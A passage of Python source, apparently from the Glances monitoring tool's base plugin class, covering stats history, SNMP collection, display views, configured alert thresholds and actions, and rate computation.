exit.\"\"\"\n        logger.debug(f\"Stop the {self.plugin_name} plugin\")\n\n    def get_key(self):\n        \"\"\"Return the key of the list.\"\"\"\n        return\n\n    def is_enabled(self, plugin_name=None):\n        \"\"\"Return true if plugin is enabled.\"\"\"\n        if not plugin_name:\n            plugin_name = self.plugin_name\n        try:\n            d = getattr(self.args, 'disable_' + plugin_name)\n        except AttributeError:\n            d = getattr(self.args, 'enable_' + plugin_name, True)\n        return d is False\n\n    def is_disabled(self, plugin_name=None):\n        \"\"\"Return true if plugin is disabled.\"\"\"\n        return not self.is_enabled(plugin_name=plugin_name)\n\n    def history_enable(self):\n        return self.args is not None and not self.args.disable_history and self.get_items_history_list() is not None\n\n    def init_stats_history(self):\n        \"\"\"Init the stats history (dict of GlancesAttribute).\"\"\"\n        if self.history_enable():\n            init_list = [a['name'] for a in self.get_items_history_list()]\n            logger.debug(f\"Stats history activated for plugin {self.plugin_name} (items: {init_list})\")\n        return GlancesHistory()\n\n    def reset_stats_history(self):\n        \"\"\"Reset the stats history (dict of GlancesAttribute).\"\"\"\n        if self.history_enable():\n            reset_list = [a['name'] for a in self.get_items_history_list()]\n            logger.debug(f\"Reset history for plugin {self.plugin_name} (items: {reset_list})\")\n            self.stats_history.reset()\n\n    def update_stats_history(self):\n        \"\"\"Update stats history.\"\"\"\n        # Exit if no history\n        if not self.history_enable():\n            return\n        # Build the history\n        _get_export = self.get_export()\n        if not (_get_export and self.history_enable()):\n            return\n        # Itern through items history\n        item_name = '' if self.get_key() is None else self.get_key()\n        for i in self.get_items_history_list():\n            if isinstance(_get_export, list):\n                # Stats is a list of data\n                # Iter through stats (for example, iter through network interface)\n                for l_export in _get_export:\n                    if i['name'] in l_export:\n                        self.stats_history.add(\n                            nativestr(l_export[item_name]) + '_' + nativestr(i['name']),\n                            l_export[i['name']],\n                            description=i['description'],\n                            history_max_size=self._limits['history_size'],\n                        )\n            else:\n                # Stats is not a list\n                # Add the item to the history directly\n                self.stats_history.add(\n                    nativestr(i['name']),\n                    _get_export[i['name']],\n                    description=i['description'],\n                    history_max_size=self._limits['history_size'],\n                )\n\n    def get_items_history_list(self):\n        \"\"\"Return the items history list.\"\"\"\n        return self.items_history_list\n\n    def get_raw_history(self, item=None, nb=0):\n        \"\"\"Return the history (RAW format).\n\n        - the stats history (dict of list) if item is None\n        - the stats history for the given item (list) instead\n        - None if item did not exist in the history\n        \"\"\"\n        s = self.stats_history.get(nb=nb)\n        if item is None:\n            return s\n        if item in s:\n            return s[item]\n        return None\n\n    def get_export_history(self, item=None):\n        \"\"\"Return the stats history object to export.\"\"\"\n        return self.get_raw_history(item=item)\n\n    def get_stats_history(self, item=None, nb=0):\n        \"\"\"Return the stats history (JSON format).\"\"\"\n        s = self.stats_history.get_json(nb=nb)\n\n        if item is None:\n            return json_dumps(s)\n\n        return dictlist_json_dumps(s, item)\n\n    def get_trend(self, item, nb=30):\n        \"\"\"Get the trend regarding to the last nb values.\n\n        The trend is the diffirence between the mean of the last 0 to nb / 2\n        and nb / 2 to nb values.\n        \"\"\"\n        raw_history = self.get_raw_history(item=item, nb=nb)\n        if raw_history is None or len(raw_history) < nb:\n            return None\n        last_nb = [v[1] for v in raw_history]\n        return mean(last_nb[nb // 2 :]) - mean(last_nb[: nb // 2])\n\n    @property\n    def input_method(self):\n        \"\"\"Get the input method.\"\"\"\n        return self._input_method\n\n    @input_method.setter\n    def input_method(self, input_method):\n        \"\"\"Set the input method.\n\n        * local: system local grab (psutil or direct access)\n        * snmp: Client server mode via SNMP\n        * glances: Client server mode via Glances API\n        \"\"\"\n        self._input_method = input_method\n\n    @property\n    def short_system_name(self):\n        \"\"\"Get the short detected OS name (SNMP).\"\"\"\n        return self._short_system_name\n\n    def sorted_stats(self):\n        \"\"\"Get the stats sorted by an alias (if present) or key.\"\"\"\n        key = self.get_key()\n        if key is None:\n            return self.stats\n        try:\n            return sorted(\n                self.stats,\n                key=lambda stat: tuple(\n                    int(part) if part.isdigit() else part.lower()\n                    for part in re.split(r\"(\\d+|\\D+)\", self.has_alias(stat[key]) or stat[key])\n                ),\n            )\n        except TypeError:\n            # Correct \"Starting an alias with a number causes a crash #1885\"\n            return sorted(\n                self.stats,\n                key=lambda stat: tuple(\n                    part.lower() for part in re.split(r\"(\\d+|\\D+)\", self.has_alias(stat[key]) or stat[key])\n                ),\n            )\n\n    @short_system_name.setter\n    def short_system_name(self, short_name):\n        \"\"\"Set the short detected OS name (SNMP).\"\"\"\n        self._short_system_name = short_name\n\n    def set_stats(self, input_stats):\n        \"\"\"Set the stats to input_stats.\"\"\"\n        self.stats = input_stats\n\n    def get_stats_snmp(self, bulk=False, snmp_oid=None):\n        \"\"\"Update stats using SNMP.\n\n        If bulk=True, use a bulk request instead of a get request.\n        \"\"\"\n        snmp_oid = snmp_oid or {}\n\n        from glances.snmp import GlancesSNMPClient\n\n        # Init the SNMP request\n        snmp_client = GlancesSNMPClient(\n            host=self.args.client,\n            port=self.args.snmp_port,\n            version=self.args.snmp_version,\n            community=self.args.snmp_community,\n        )\n\n        # Process the SNMP request\n        ret = {}\n        if bulk:\n            # Bulk request\n            snmp_result = snmp_client.getbulk_by_oid(0, 10, *list(snmp_oid.values()))\n            logger.info(snmp_result)\n            if len(snmp_oid) == 1:\n                # Bulk command for only one OID\n                # Note: key is the item indexed but the OID result\n                for item in snmp_result:\n                    if item.keys()[0].startswith(snmp_oid.values()[0]):\n                        ret[snmp_oid.keys()[0] + item.keys()[0].split(snmp_oid.values()[0])[1]] = item.values()[0]\n            else:\n                # Build the internal dict with the SNMP result\n                # Note: key is the first item in the snmp_oid\n                index = 1\n                for item in snmp_result:\n                    item_stats = {}\n                    item_key = None\n                    for key in snmp_oid:\n                        oid = snmp_oid[key] + '.' + str(index)\n                        if oid in item:\n                            if item_key is None:\n                                item_key = item[oid]\n                            else:\n                                item_stats[key] = item[oid]\n                    if item_stats:\n                        ret[item_key] = item_stats\n                    index += 1\n        else:\n            # Simple get request\n            snmp_result = snmp_client.get_by_oid(*list(snmp_oid.values()))\n\n            # Build the internal dict with the SNMP result\n            for key in snmp_oid:\n                ret[key] = snmp_result[snmp_oid[key]]\n\n        return ret\n\n    def get_raw(self):\n        \"\"\"Return the stats object.\"\"\"\n        return self.stats\n\n    def get_api(self):\n        \"\"\"Return the stats object for the API.\n        By default, return the raw stats.\"\"\"\n        return self.get_raw()\n\n    def get_export(self):\n        \"\"\"Return the stats object to export.\n        By default, return the raw stats.\n        Note: this method could be overwritten by the plugin if a specific format is needed (ex: processlist)\n        \"\"\"\n        return self.get_raw()\n\n    def get_stats(self):\n        \"\"\"Return the stats object in JSON format.\"\"\"\n        return json_dumps(self.get_raw())\n\n    def get_json(self):\n        \"\"\"Return the stats object in JSON format.\"\"\"\n        return self.get_stats()\n\n    def get_raw_stats_item(self, item):\n        \"\"\"Return the stats object for a specific item in RAW format.\n\n        Stats should be a list of dict (processlist, network...)\n        \"\"\"\n        return dictlist(self.get_raw(), item)\n\n    def get_raw_stats_key(self, item, key):\n        \"\"\"Return the stats object for a specific item in RAW format.\n\n        Stats should be a list of dict (processlist, network...)\n        \"\"\"\n        return {item: [i for i in self.get_raw() if 'key' in i and i[i['key']] == key][0].get(item)}\n\n    def get_stats_item(self, item):\n        \"\"\"Return the stats object for a specific item in JSON format.\n\n        Stats should be a list of dict (processlist, network...)\n        \"\"\"\n        return dictlist_json_dumps(self.get_raw(), item)\n\n    def get_raw_stats_value(self, item, value):\n        \"\"\"Return the stats object for a specific item=value.\n\n        Return None if the item=value does not exist\n        Return None if the item is not a list of dict\n        \"\"\"\n        if not isinstance(self.get_raw(), list):\n            return None\n\n        if (not isinstance(value, int) and not isinstance(value, float)) and value.isdigit():\n            value = int(value)\n        try:\n            return {value: [i for i in self.get_raw() if i[item] == value]}\n        except (KeyError, ValueError) as e:\n            logger.error(f\"Cannot get item({item})=value({value}) ({e})\")\n            return None\n\n    def get_stats_value(self, item, value):\n        \"\"\"Return the stats object for a specific item=value in JSON format.\n\n        Stats should be a list of dict (processlist, network...)\n        \"\"\"\n        rsv = self.get_raw_stats_value(item, value)\n        if rsv is None:\n            return None\n        return json_dumps(rsv)\n\n    def get_item_info(self, item, key, default=None):\n        \"\"\"Return the item info grabbed into self.fields_description.\"\"\"\n        if self.fields_description is None or item not in self.fields_description:\n            return default\n        return self.fields_description[item].get(key, default)\n\n    def _build_field_decoration(self, field):\n        \"\"\"Return the field decoration.\n\n        The decoration is used to display the field in the UI.\n        \"\"\"\n        # Manage the decoration\n        if self.fields_description and field in self.fields_description:\n            if (\n                self.fields_description[field].get('rate') is True\n                and isinstance(self.stats, dict)\n                and self.stats.get('time_since_update', 0) == 0\n            ):\n                return 'DEFAULT'\n            if self.fields_description[field].get('log') is True:\n                return self.get_alert_log(self.stats[field], header=field)\n            if self.fields_description[field].get('alert') is True:\n                return self.get_alert(self.stats[field], header=field)\n        return 'DEFAULT'\n\n    def _build_field_optional(self, field):\n        \"\"\"Return true if the field is optional.\"\"\"\n        if self.fields_description and field in self.fields_description:\n            return self.fields_description[field].get('optional', False)\n        return False\n\n    def _build_view_for_field(self, key=None, field=None):\n        view = {\n            'decoration': self._build_field_decoration(field),\n            'optional': self._build_field_optional(field),\n            'additional': False,\n            'splittable': False,\n            'hidden': False,\n        }\n\n        # Manage the hidden feature\n        # Allow to automatically hide fields when values is never different than 0\n        # Refactoring done for #2929\n        if not self.hide_zero:\n            view['hidden'] = False\n        elif key and key in self.views and field in self.views[key] and 'hidden' in self.views[key][field]:\n            view['hidden'] = self.views[key][field]['hidden']\n            if (\n                field in self.hide_zero_fields\n                and self.get_raw_stats_key(item=field, key=key).get(field) >= self.hide_threshold_bytes\n            ):\n                view['hidden'] = False\n            # logger.info(f'{key=} {field=} {view[\"hidden\"]=}')\n        else:\n            view['hidden'] = field in self.hide_zero_fields\n\n        return view\n\n    def update_views(self):\n        \"\"\"Update the stats views.\n\n        The V of MVC\n        A dict of dict with the needed information to display the stats.\n        Example for the stat xxx:\n        'xxx': {'decoration': 'DEFAULT',  >>> The decoration of the stats\n                'optional': False,        >>> Is the stat optional\n                'additional': False,      >>> Is the stat provide additional information\n                'splittable': False,      >>> Is the stat can be cut (like process lon name)\n                'hidden': False}          >>> Is the stats should be hidden in the UI\n        \"\"\"\n        ret = {}\n\n        if self.get_raw() is not None and isinstance(self.get_raw(), list) and self.get_key() is not None:\n            # Stats are stored in a list of dict (ex: DISKIO, NETWORK, FS...)\n            for i in self.get_raw():\n                key = i[self.get_key()]\n                ret[key] = {}\n                for field in listkeys(i):\n                    ret[key][field] = self._build_view_for_field(key=key, field=field)\n        elif isinstance(self.get_raw(), dict) and self.get_raw() is not None:\n            # Stats are stored in a dict (ex: CPU, LOAD...)\n            for field in listkeys(self.get_raw()):\n                ret[field] = self._build_view_for_field(key=None, field=field)\n\n        self.views = ret\n\n        return self.views\n\n    def set_views(self, input_views):\n        \"\"\"Set the views to input_views.\"\"\"\n        self.views = input_views\n\n    def reset_views(self):\n        \"\"\"Reset the views to input_views.\"\"\"\n        self.views = {}\n\n    def get_views(self, item=None, key=None, option=None):\n        \"\"\"Return the views object.\n\n        If key is None, return all the view for the current plugin\n        else if option is None return the view for the specific key (all option)\n        else return the view of the specific key/option\n\n        Specify item if the stats are stored in a dict of dict (ex: NETWORK, FS...)\n        \"\"\"\n        if item is None:\n            item_views = self.views\n        else:\n            item_views = self.views[item]\n        if key is None:\n            return item_views\n        if key not in item_views:\n            return 'DEFAULT'\n        if option is None:\n            return item_views[key]\n        if option in item_views[key]:\n            return item_views[key][option]\n        return 'DEFAULT'\n\n    def get_json_views(self, item=None, key=None, option=None):\n        \"\"\"Return the views (in JSON).\"\"\"\n        return json_dumps(self.get_views(item, key, option))\n\n    def load_limits(self, config):\n        \"\"\"Load limits from the configuration file, if it exists.\"\"\"\n        # By default set the history length to 3 points per second during one day\n        self._limits['history_size'] = 28800\n\n        if not hasattr(config, 'has_section'):\n            return False\n\n        # Read the global section\n        # TODO: not optimized because this section is loaded for each plugin...\n        if config.has_section('global'):\n            self._limits['history_size'] = config.get_float_value('global', 'history_size', default=28800)\n            logger.debug(\"Load configuration key: {} = {}\".format('history_size', self._limits['history_size']))\n\n        # Read the plugin specific section\n        if config.has_section(self.plugin_name):\n            for level, _ in config.items(self.plugin_name):\n                # Read limits\n                limit = '_'.join([self.plugin_name, level])\n                try:\n                    self._limits[limit] = config.get_float_value(self.plugin_name, level)\n                except ValueError:\n                    self._limits[limit] = config.get_value(self.plugin_name, level).split(\",\")\n                logger.debug(f\"Load limit: {limit} = {self._limits[limit]}\")\n\n        return True\n\n    @property\n    def limits(self):\n        \"\"\"Return the limits object.\"\"\"\n        return self._limits\n\n    @limits.setter\n    def limits(self, input_limits):\n        \"\"\"Set the limits to input_limits.\"\"\"\n        self._limits = input_limits\n\n    def set_refresh(self, value):\n        \"\"\"Set the plugin refresh rate\"\"\"\n        self.set_limits('refresh', value)\n\n    def get_refresh(self):\n        \"\"\"Return the plugin refresh time\"\"\"\n        ret = self.get_limits(item='refresh')\n        if ret is None:\n            ret = self.args.time if hasattr(self.args, 'time') else 2\n        return ret\n\n    def get_refresh_time(self):\n        \"\"\"Return the plugin refresh time\"\"\"\n        return self.get_refresh()\n\n    def set_limits(self, item, value):\n        \"\"\"Set the limits object.\"\"\"\n        self._limits[f'{self.plugin_name}_{item}'] = value\n\n    def get_limits(self, item=None):\n        \"\"\"Return the limits object.\"\"\"\n        if item is None:\n            return self._limits\n        return self._limits.get(f'{self.plugin_name}_{item}', None)\n\n    def get_stats_action(self):\n        \"\"\"Return stats for the action.\n\n        By default return all the stats.\n        Can be overwrite by plugins implementation.\n        For example, Docker will return self.stats['containers']\n        \"\"\"\n        return self.stats\n\n    def get_stat_name(self, header=None, action_key=None):\n        \"\"\"Return the stat name with an optional action_key and header\"\"\"\n        ret = self.plugin_name\n        if action_key is not None and action_key != '':\n            ret += '_' + action_key\n        if header is not None and header != '':\n            ret += '_' + header\n        return ret\n\n    def get_alert(\n        self,\n        current=0,\n        minimum=0,\n        maximum=100,\n        highlight_zero=True,\n        is_max=False,\n        header=None,\n        action_key=None,\n        log=False,\n    ):\n        \"\"\"Return the alert status relative to a current value.\n\n        Use this function for minor stats.\n\n        If current < CAREFUL of max then alert = OK\n        If current > CAREFUL of max then alert = CAREFUL\n        If current > WARNING of max then alert = WARNING\n        If current > CRITICAL of max then alert = CRITICAL\n\n        If highlight=True than 0.0 is highlighted\n\n        If defined 'header' is added between the plugin name and the status.\n        Only useful for stats with several alert status.\n\n        If defined, 'action_key' define the key for the actions.\n        By default, the action_key is equal to the header.\n\n        If log=True than add log if necessary\n        elif log=False than do not log\n        elif log=None than apply the config given in the conf file\n        \"\"\"\n        # Manage 0 (0.0) value if highlight_zero is not True\n        if not highlight_zero and current == 0:\n            return 'DEFAULT'\n\n        # Compute the %\n        try:\n            value = (current * 100) / maximum\n        except ZeroDivisionError:\n            return 'DEFAULT'\n        except TypeError:\n            return 'DEFAULT'\n\n        # Build the stat_name\n        stat_name = self.get_stat_name(header=header, action_key=action_key).lower()\n\n        # Manage limits\n        # If is_max is set then default style is set to MAX else default is set to OK\n        ret = 'MAX' if is_max else 'OK'\n\n        # Iter through limits\n        critical = self.get_limit('critical', stat_name=stat_name)\n        warning = self.get_limit('warning', stat_name=stat_name)\n        careful = self.get_limit('careful', stat_name=stat_name)\n        if critical and value >= critical:\n            ret = 'CRITICAL'\n        elif warning and value >= warning:\n            ret = 'WARNING'\n        elif careful and value >= careful:\n            ret = 'CAREFUL'\n        elif not careful and not warning and not critical:\n            ret = 'DEFAULT'\n        else:\n            ret = 'OK'\n\n        if current < minimum:\n            ret = 'CAREFUL'\n\n        # Manage log\n        log_str = \"\"\n        if self.get_limit_log(stat_name=stat_name, default_action=log) and ret != 'DEFAULT':\n            # Add _LOG to the return string\n            # So stats will be highlighted with a specific color\n            log_str = \"_LOG\"\n            # Add the log to the events list\n            glances_events.add(ret, stat_name.upper(), value)\n\n        # Manage threshold\n        self.manage_threshold(stat_name, ret)\n\n        # Manage action\n        self.manage_action(stat_name, ret.lower(), header, action_key)\n\n        # Default is 'OK'\n        return ret + log_str\n\n    def filter_stats(self, stats):\n        \"\"\"Filter the stats to keep only the fields we want (the one defined in fields_description).\"\"\"\n        if hasattr(stats, '_asdict'):\n            return {k: v for k, v in stats._asdict().items() if k in self.fields_description}\n        if isinstance(stats, dict):\n            return {k: v for k, v in stats.items() if k in self.fields_description}\n        if isinstance(stats, list):\n            return [self.filter_stats(s) for s in stats]\n        return stats\n\n    def manage_threshold(self, stat_name, trigger):\n        \"\"\"Manage the threshold for the current stat.\"\"\"\n        glances_thresholds.add(stat_name, trigger)\n\n    def manage_action(self, stat_name, trigger, header, action_key):\n        \"\"\"Manage the action for the current stat.\"\"\"\n        # Here is a command line for the current trigger ?\n        command, repeat = self.get_limit_action(trigger, stat_name=stat_name)\n        if not command and not repeat:\n            # Reset the trigger\n            self.actions.set(stat_name, trigger)\n        else:\n            # Define the action key for the stats dict\n            # If not define, then it sets to header\n            if action_key is None:\n                action_key = header\n\n            # A command line is available for the current alert\n            # 1) Build the {{mustache}} dictionary\n            stats_action = copy.deepcopy(self.get_stats_action())\n            if isinstance(stats_action, list):\n                # If the stats are stored in a list of dict (fs plugin for example)\n                mustache_dict = {}\n                for item in stats_action:\n                    # Add the limit to the mustache dict\n                    item['critical'] = self.get_limit('critical', stat_name=stat_name)\n                    item['warning'] = self.get_limit('warning', stat_name=stat_name)\n                    item['careful'] = self.get_limit('careful', stat_name=stat_name)\n                    # Add the current time (now)\n                    item['time'] = datetime.now().isoformat()\n                    if item[self.get_key()] == action_key:\n                        mustache_dict = item\n                        break\n            else:\n                # Use the stats dict\n                # Add the limit to the mustache dict\n                stats_action['critical'] = self.get_limit('critical', stat_name=stat_name)\n                stats_action['warning'] = self.get_limit('warning', stat_name=stat_name)\n                stats_action['careful'] = self.get_limit('careful', stat_name=stat_name)\n                # Add the current time (now)\n                stats_action['time'] = datetime.now().isoformat()\n                mustache_dict = stats_action\n            # 2) Run the action\n            self.actions.run(stat_name, trigger, command, repeat, mustache_dict=mustache_dict)\n\n    def get_alert_log(self, current=0, minimum=0, maximum=100, header=\"\", action_key=None):\n        \"\"\"Get the alert log.\"\"\"\n        return self.get_alert(\n            current=current, minimum=minimum, maximum=maximum, header=header, action_key=action_key, log=True\n        )\n\n    def is_limit(self, criticality, stat_name=\"\"):\n        \"\"\"Return true if the criticality limit exist for the given stat_name\"\"\"\n        return self.get_stat_name(stat_name).lower() + '_' + criticality in self._limits\n\n    def get_limit(self, criticality=None, stat_name=\"\"):\n        \"\"\"Return the limit value for the given criticality.\n        If criticality is None, return the dict of all the limits.\"\"\"\n        if criticality is None:\n            return self._limits\n\n        # Get the limit for stat + header\n        # Example: network_wlan0_rx_careful\n        stat_name = stat_name.lower()\n        if stat_name + '_' + criticality in self._limits:\n            return self._limits[stat_name + '_' + criticality]\n        if self.plugin_name + '_' + criticality in self._limits:\n            return self._limits[self.plugin_name + '_' + criticality]\n\n        return None\n\n    def get_limit_action(self, criticality, stat_name=\"\"):\n        \"\"\"Return the tuple (action, repeat) for the alert.\n\n        - action is a command line\n        - repeat is a bool\n        \"\"\"\n        # Get the action for stat + header\n        # Example: network_wlan0_rx_careful_action\n        # Action key available ?\n        ret = [\n            (stat_name + '_' + criticality + '_action', False),\n            (stat_name + '_' + criticality + '_action_repeat', True),\n            (self.plugin_name + '_' + criticality + '_action', False),\n            (self.plugin_name + '_' + criticality + '_action_repeat', True),\n        ]\n        for r in ret:\n            if r[0] in self._limits:\n                return self._limits[r[0]], r[1]\n\n        # No key found, return None\n        return None, None\n\n    def get_limit_log(self, stat_name, default_action=False):\n        \"\"\"Return the log tag for the alert.\"\"\"\n        # Get the log tag for stat + header\n        # Example: network_wlan0_rx_log\n        if stat_name + '_log' in self._limits:\n            return self._limits[stat_name + '_log'][0].lower() == 'true'\n        if self.plugin_name + '_log' in self._limits:\n            return self._limits[self.plugin_name + '_log'][0].lower() == 'true'\n        return default_action\n\n    def get_conf_value(self, value, header=\"\", plugin_name=None, convert_bool=False, default=[]):\n        \"\"\"Return the configuration (header_) value for the current plugin.\n\n        ...or the one given by the plugin_name var.\n        \"\"\"\n        if plugin_name is None:\n            # If not default use the current plugin name\n            plugin_name = self.plugin_name\n\n        if header != \"\":\n            # Add the header\n            plugin_name = plugin_name + '_' + header\n\n        try:\n            ret = self._limits[plugin_name + '_' + value]\n            return bool(ret[0]) if convert_bool else ret\n        except KeyError:\n            return default\n\n    def is_show(self, value, header=\"\"):\n        \"\"\"Return True if the value is in the show configuration list.\n\n        If the show value is empty, return True (show by default)\n\n        The show configuration list is defined in the glances.conf file.\n        It is a comma-separated list of regexp.\n\n        Example for diskio:\n        show=sda.*\n        \"\"\"\n        return any(\n            re.fullmatch(i, value, re.I)\n            or (self.has_alias(value) is not None and re.fullmatch(i, self.has_alias(value), re.I))\n            for i in self.get_conf_value('show', header=header)\n        )\n\n    def is_hide(self, value, header=\"\"):\n        \"\"\"Return True if the value is in the hide configuration list.\n\n        The hide configuration list is defined in the glances.conf file.\n        It is a comma-separated list of regexp.\n\n        Example for diskio:\n        hide=sda2,sda5,loop.*\n        \"\"\"\n        return any(\n            re.fullmatch(i, value, re.I)\n            or (self.has_alias(value) is not None and re.fullmatch(i, self.has_alias(value), re.I))\n            for i in self.get_conf_value('hide', header=header)\n        )\n\n    def is_display(self, value, header=\"\"):\n        \"\"\"Return True if the value should be displayed in the UI\"\"\"\n        if self.get_conf_value('show', header=header) != []:\n            return self.is_show(value, header=header)\n        return not self.is_hide(value, header=header)\n\n    def is_display_any(self, *values, header=\"\"):\n        \"\"\"Return True if any of the values should be displayed in the UI\"\"\"\n        if self.get_conf_value('show', header=header) != []:\n            return any(self.is_show(value, header=header) for value in values)\n        return not any(self.is_hide(value, header=header) for value in values)\n\n    def read_alias(self):\n        if self.plugin_name + '_' + 'alias' in self._limits:\n            return {\n                split_esc(i, ':')[0].lower(): split_esc(i, ':')[1]\n                for i in self._limits[self.plugin_name + '_' + 'alias']\n            }\n        return {}\n\n    def has_alias(self, header):\n        \"\"\"Return the alias name for the relative header it it exists otherwise None.\"\"\"\n        return self.alias.get(header, None)\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return default string to display in the curse interface.\"\"\"\n        return [self.curse_add_line(str(self.stats))]\n\n    def get_stats_display(self, args=None, max_width=None):\n        \"\"\"Return a dict with all the information needed to display the stat.\n\n        key     | description\n        ----------------------------\n        display | Display the stat (True or False)\n        msgdict | Message to display (list of dict [{ 'msg': msg, 'decoration': decoration } ... ])\n        align   | Message position\n        \"\"\"\n        display_curse = False\n\n        if hasattr(self, 'display_curse'):\n            display_curse = self.display_curse\n        if hasattr(self, 'align'):\n            align_curse = self._align\n\n        if max_width is not None:\n            ret = {'display': display_curse, 'msgdict': self.msg_curse(args, max_width=max_width), 'align': align_curse}\n        else:\n            ret = {'display': display_curse, 'msgdict': self.msg_curse(args), 'align': align_curse}\n\n        return ret\n\n    def curse_add_line(self, msg, decoration=\"DEFAULT\", optional=False, additional=False, splittable=False):\n        \"\"\"Return a dict with.\n\n        Where:\n            msg: string\n            decoration:\n                DEFAULT: no decoration\n                UNDERLINE: underline\n                BOLD: bold\n                TITLE: for stat title\n                PROCESS: for process name\n                STATUS: for process status\n                CPU_TIME: for process cpu time\n                OK: Value is OK and non logged\n                OK_LOG: Value is OK and logged\n                CAREFUL: Value is CAREFUL and non logged\n                CAREFUL_LOG: Value is CAREFUL and logged\n                WARNING: Value is WARNING and non logged\n                WARNING_LOG: Value is WARNING and logged\n                CRITICAL: Value is CRITICAL and non logged\n                CRITICAL_LOG: Value is CRITICAL and logged\n            optional: True if the stat is optional (display only if space is available)\n            additional: True if the stat is additional (display only if space is available after optional)\n            spittable: Line can be split to fit on the screen (default is not)\n        \"\"\"\n        return {\n            'msg': msg,\n            'decoration': decoration,\n            'optional': optional,\n            'additional': additional,\n            'splittable': splittable,\n        }\n\n    def curse_new_line(self):\n        \"\"\"Go to a new line.\"\"\"\n        return self.curse_add_line('\\n')\n\n    def curse_add_stat(self, key, width=None, header='', display_key=True, separator='', trailer=''):\n        \"\"\"Return a list of dict messages with the 'key: value' result\n\n          <=== width ===>\n        __key     : 80.5%__\n        | |       | |    |_ trailer\n        | |       | |_ self.stats[key]\n        | |       |_ separator\n        | |_ 'short_name' description or key or nothing if display_key is True\n        |_ header\n\n        Instead of:\n            msg = '  {:8}'.format('idle:')\n            ret.append(self.curse_add_line(msg, optional=self.get_views(key='idle', option='optional')))\n            msg = '{:5.1f}%'.format(self.stats['idle'])\n            ret.append(self.curse_add_line(msg, optional=self.get_views(key='idle', option='optional')))\n\n        Use:\n            ret.extend(self.curse_add_stat('idle', width=15, header='  '))\n\n        \"\"\"\n        if key not in self.stats:\n            return []\n\n        # Check if a shortname is defined\n        if not display_key:\n            key_name = ''\n        elif key in self.fields_description and 'short_name' in self.fields_description[key]:\n            key_name = self.fields_description[key]['short_name']\n        else:\n            key_name = key\n\n        # Check if unit is defined and get the short unit char in the unit_sort dict\n        if (\n            key in self.fields_description\n            and 'unit' in self.fields_description[key]\n            and self.fields_description[key]['unit'] in fields_unit_short\n        ):\n            # Get the shortname\n            unit_short = fields_unit_short[self.fields_description[key]['unit']]\n        else:\n            unit_short = ''\n\n        # Check if unit is defined and get the unit type unit_type dict\n        if (\n            key in self.fields_description\n            and 'unit' in self.fields_description[key]\n            and self.fields_description[key]['unit'] in fields_unit_type\n        ):\n            # Get the shortname\n            unit_type = fields_unit_type[self.fields_description[key]['unit']]\n        else:\n            unit_type = 'float'\n\n        # Is it a rate ? Yes, get the pre-computed rate value\n        if key in self.fields_description and self.fields_description[key].get('rate', False) is True:\n            value = self.stats.get(key + '_rate_per_sec', None)\n        else:\n            value = self.stats.get(key, None)\n\n        if width is None:\n            msg_item = header + f'{key_name}' + separator\n            msg_template_float = '{:.1f}{}'\n            msg_template = '{}{}'\n        else:\n            # Define the size of the message\n            # item will be on the left\n            # value will be on the right\n            msg_item = header + '{:{width}}'.format(key_name, width=width - 7) + separator\n            msg_template_float = '{:5.1f}{}'\n            msg_template = '{:>5}{}'\n\n        if value is None:\n            msg_value = msg_template.format('-', '')\n        elif unit_type == 'float':\n            msg_value = msg_template_float.format(value, unit_short)\n        elif 'min_symbol' in self.fields_description[key]:\n            msg_value = msg_template.format(\n                self.auto_unit(int(value), min_symbol=self.fields_description[key]['min_symbol']), unit_short\n            )\n        else:\n            msg_value = msg_template.format(int(value), unit_short)\n\n        # Add the trailer\n        msg_value = msg_value + trailer\n\n        decoration = self.get_views(key=key, option='decoration') if value is not None else 'DEFAULT'\n        optional = self.get_views(key=key, option='optional')\n\n        return [\n            self.curse_add_line(msg_item, optional=optional),\n            self.curse_add_line(msg_value, decoration=decoration, optional=optional),\n        ]\n\n    @property\n    def align(self):\n        \"\"\"Get the curse align.\"\"\"\n        return self._align\n\n    @align.setter\n    def align(self, value):\n        \"\"\"Set the curse align.\n\n        value: left, right, bottom.\n        \"\"\"\n        self._align = value\n\n    def auto_unit(self, number, low_precision=False, min_symbol='K', none_symbol='-'):\n        \"\"\"Return a nice human-readable string out of number.\"\"\"\n        return auto_unit(number, low_precision=low_precision, min_symbol=min_symbol, none_symbol=none_symbol)\n\n    def trend_msg(self, trend, significant=1):\n        \"\"\"Return the trend message.\n\n        Do not take into account if trend < significant\n        \"\"\"\n        ret = '-'\n        if trend is None:\n            ret = ' '\n        elif trend > significant:\n            ret = unicode_message('ARROW_UP', self.args)\n        elif trend < -significant:\n            ret = unicode_message('ARROW_DOWN', self.args)\n        return ret\n\n    def _check_decorator(fct):\n        \"\"\"Check decorator for update method.\n\n        It checks:\n        - if the plugin is enabled.\n        - if the refresh_timer is finished\n        \"\"\"\n\n        def wrapper(self, *args, **kw):\n            if self.is_enabled() and (self.refresh_timer.finished() or self.stats == self.get_init_value):\n                # Run the method\n                ret = fct(self, *args, **kw)\n                # Reset the timer\n                self.refresh_timer.set(self.get_refresh())\n                self.refresh_timer.reset()\n            else:\n                # No need to call the method\n                # Return the last result available\n                ret = self.stats\n            return ret\n\n        return wrapper\n\n    def _log_result_decorator(fct):\n        \"\"\"Log (DEBUG) the result of the function fct.\"\"\"\n\n        def wrapper(*args, **kw):\n            counter = Counter()\n            ret = fct(*args, **kw)\n            duration = counter.get()\n            class_name = args[0].__class__.__name__\n            class_module = args[0].__class__.__module__\n            logger.debug(f\"{class_name} {class_module} {fct.__name__} return {ret} in {duration} seconds\")\n            return ret\n\n        return wrapper\n\n    def _manage_rate(fct):\n        \"\"\"Manage rate decorator for update method.\"\"\"\n\n        def compute_rate(self, stat, stat_previous):\n            if stat_previous is None:\n                return stat\n\n            # 1) set _gauge for all the rate fields\n            # 2) compute the _rate_per_sec\n            # 3) set the original field to the delta between the current and the previous value\n            for field in self.fields_description:\n                # Check if the field exist (avoid error on some OS where some fields are not available)\n                if field not in stat:\n                    continue\n                # For all the field with the rate=True flag\n                # if 'rate' in self.fields_description[field] and self.fields_description[field]['rate'] is True:\n                if self.fields_description[field].get('rate', False):\n                    # Create a new metadata with the gauge\n                    stat['time_since_update'] = self.time_since_last_update\n                    stat[field + '_gauge'] = stat[field]\n                    if field + '_gauge' in stat_previous and stat[field] and stat_previous[field + '_gauge']:\n                        # The stat becomes the delta between the current and the previous value\n                        stat[field] = stat[field] - stat_previous[field + '_gauge']\n                        # Compute the rate\n                        if self.time_since_last_update > 0:\n                            stat[field + '_rate_per_sec'] = stat[field] // self.time_since_last_update\n                        else:\n                            stat[field] = 0\n                            stat[field + '_rate_per_sec'] = 0\n                    